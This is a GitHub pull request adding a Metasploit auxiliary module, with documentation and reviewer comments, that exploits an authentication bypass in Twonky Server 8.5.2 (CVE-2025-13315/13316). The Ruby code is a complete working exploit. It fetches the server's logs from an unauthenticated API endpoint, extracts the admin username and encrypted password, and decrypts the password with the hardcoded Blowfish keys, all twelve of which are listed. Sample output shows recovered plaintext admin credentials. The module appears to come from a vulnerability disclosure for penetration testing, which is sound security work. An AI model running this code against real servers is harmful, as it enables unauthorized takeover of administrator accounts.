Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
## Vulnerable Application
This module leverages an authentication bypass in Twonky Server 8.5.2. By exploiting
an authorization flaw to access a privileged web API endpoint and leak application logs,
encrypted administrator credentials are leaked (CVE-2025-13315). The exploit will then decrypt
these credentials using hardcoded keys (CVE-2025-13316) and login as the administrator.
Expected module output is a username and plain text password for the administrator account.

## Options
No custom options for this module exist.

## Testing
To set up a test environment:
1. Download a vulnerable 8.5.2 build of Twonky Server [here](https://download.twonky.com/8.5.2/) and follow the installation instructions.
2. Go to Settings->Security->Admin account and create an administrator user. The application should prompt for basic authentication after.
3. Restart the server. The credential values are written to logs on startup, so this is a prerequisite for exploitation.
4. Follow the verification steps below.

## Verification Steps
1. Start msfconsole
2. `use auxiliary/gather/twonky_authbypass_logleak`
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_PORT>`
5. `run`

## Scenarios
### Twonky Server on Linux or Windows
```
msf auxiliary(gather/twonky_authbypass_logleak) > show options

Module options (auxiliary/gather/twonky_authbypass_logleak):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 9000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path to Twonky Server
VHOST no HTTP server virtual host


View the full module info with the info, or info -d command.

msf auxiliary(gather/twonky_authbypass_logleak) > set RHOSTS 192.168.181.129
RHOSTS => 192.168.181.129
msf auxiliary(gather/twonky_authbypass_logleak) > run
[*] Running module against 192.168.181.129
[*] Confirming the target is vulnerable
[+] The target is Twonky Server v8.5.2
[*] Attempting to leak the administrator username and encrypted password
[+] The target returned the administrator username: admin
[+] The target returned the encrypted password and key index: 14ee76270058c6e3c9f8cecaaebed4fc5206a1d2066d4f78, 7
[*] Decrypting password using key: jwEkNvuwYCjsDzf5
[+] Credentials decrypted: USER=admin PASS=R7Password123!!!
[*] Auxiliary module execution completed
msf auxiliary(gather/twonky_authbypass_logleak) >
```
154 changes: 154 additions & 0 deletions modules/auxiliary/gather/twonky_authbypass_logleak.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,154 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Twonky Server Log Leak Authentication Bypass',
'Description' => %q{
This module leverages an authentication bypass in Twonky Server 8.5.2. By exploiting
an authorization flaw to access a privileged web API endpoint and leak application logs,
encrypted administrator credentials are leaked (CVE-2025-13315). The exploit will then decrypt
these credentials using hardcoded keys (CVE-2025-13316) and login as the administrator.
Expected module output is a username and plain text password for the administrator account.
},
'License' => MSF_LICENSE,
'Author' => [
'remmons-r7' # Initial discovery, MSF module
],
'References' => [
['CVE', '2025-13315'],
['CVE', '2025-13316'],
['URL', 'https://www.rapid7.com/blog/post/cve-2025-13315-cve-2025-13316-critical-twonky-server-authentication-bypass-not-fixed/']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
# No IoCs, in logs or individual files, are known
# If a non-default reverse proxy is configured in front of Twonky Server, it may log web traffic
'SideEffects' => [],
'Reliability' => []
}
)
)

register_options(
[
Opt::RPORT(9000),
OptString.new('TARGETURI', [true, 'The URI path to Twonky Server', '/'])
]
)
end

def run
# Unauthenticated requests to the '/dev0/desc.xml' endpoint should return the version number
print_status('Confirming the target is vulnerable')
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'dev0', 'desc.xml')
}
)

fail_with(Failure::Unknown, 'Connection failed - unable to get XML web response') unless res

# Confirm that the response contains the expected 8.5.2 XML string
if (res&.code != 200) || (!res.body.include? '<modelNumber>8.5.2</modelNumber>')
fail_with(Failure::NotVulnerable, 'The target does not appear to be a Twonky Server instance running version 8.5.2')
end

print_good('The target is Twonky Server v8.5.2')

print_status('Attempting to leak the administrator username and encrypted password')
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'nmc', 'rpc', 'log_getfile')
}
)

fail_with(Failure::Unknown, 'Connection failed - unable to get log API response') unless res

# Grab the most recent (last) administrator username value from the logs
pattern = /accessuser\s*=\s*(\S+)\n/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The newline characters was causing some issues for me, not sure if it's my skill issue or actual issue

Suggested change
pattern = /accessuser\s*=\s*(\S+)\n/
pattern = /accessuser\s*=\s*(\S+)/

result = res.body.scan(pattern).last

# If the log has been cleared since startup or the server hasn't restarted since setup
fail_with(Failure::NotFound, 'The target did not return a log file containing a username value') unless result

username = result[0]

print_good("The target returned the administrator username: #{username}")

# Grab the most recent (last) password value from the logs to decrypt
# "||" + hex number (key index) + hex Blowfish ECB ciphertext
pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]{16}(?:[a-fA-F0-9]{4})*)\n/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same here

Suggested change
pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]{16}(?:[a-fA-F0-9]{4})*)\n/
pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]{16}(?:[a-fA-F0-9]{4})*)/

result = res.body.scan(pattern).last

# If the log has been cleared since the last password change or the server hasn't restarted since setup
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This seems like useful context for the operator.

fail_with(Failure::NotFound, 'The target did not return a log file containing a password value') unless result

# Extract the encryption key index as base16
enc_key_index = result[0]

# Handle possible match array containing more than minimum 16 chars (longer encrypted password)
if !result[2].nil?
enc_pwd = result[1] + result[2..].join
else
enc_pwd = result[1]
end

print_good("The target returned the encrypted password and key index: #{enc_pwd}, #{enc_key_index}")

# Decrypt the admin password using static key
password = decrypt_password(enc_pwd, enc_key_index)

print_good("Credentials decrypted: USER=#{username} PASS=#{password}")

report_vuln(
host: rhost,
name: name,
refs: references
)

store_loot('Twonky Server Credentials', 'text/plain', datastore['RHOST'], "Username: \"#{username}\" Password: \"#{password}\"")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The credentials should also be stored as creds using the store_valid_credential API.

end

# Decrypt the password using Blowfish ECB with the specified encryption key
def decrypt_password(pwd, key_num)
# Twonky Server 8.5.2 uses static encryption keys for passwords
static_keys = [
'E8ctd4jZwMbaV587',
'TGFWfWuW3cw28trN',
'pgqYY2g9atVpTzjY',
'KX7q4gmQvWtA8878',
'VJjh7ujyT8R5bR39',
'ZMWkaLp9bKyV6tXv',
'KMLvvq6my7uKkpxf',
'jwEkNvuwYCjsDzf5',
'FukE5DhdsbCjuKay',
'SpKNj6qYQGjuGMdd',
'qLyXuAHPTF2cPGWj',
'rKz7NBhM3vYg85mg'
]
Comment on lines +125 to +138
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Rather than define the keys every time a password is decrypted, this could be defined once in a method:

    def static_keys
      [
        'E8ctd4jZwMbaV587',
        'TGFWfWuW3cw28trN',
        'pgqYY2g9atVpTzjY',
        'KX7q4gmQvWtA8878',
        'VJjh7ujyT8R5bR39',
        'ZMWkaLp9bKyV6tXv',
        'KMLvvq6my7uKkpxf',
        'jwEkNvuwYCjsDzf5',
        'FukE5DhdsbCjuKay',
        'SpKNj6qYQGjuGMdd',
        'qLyXuAHPTF2cPGWj',
        'rKz7NBhM3vYg85mg'
      ]
    end

Although it makes no difference when the decryption method is called only once.


# Encrypted password hex to bytes
pwd_bytes = [pwd].pack('H*')

# Select the appropriate key, based on the index hex number stored with the ciphertext
key = static_keys[key_num.to_i(16)]

print_status("Decrypting password using key: #{key}")

cipher = OpenSSL::Cipher.new('bf-ecb').decrypt
cipher.key_len = key.length
cipher.padding = 0
cipher.key = key
cipher.update(pwd_bytes) + cipher.final
end
end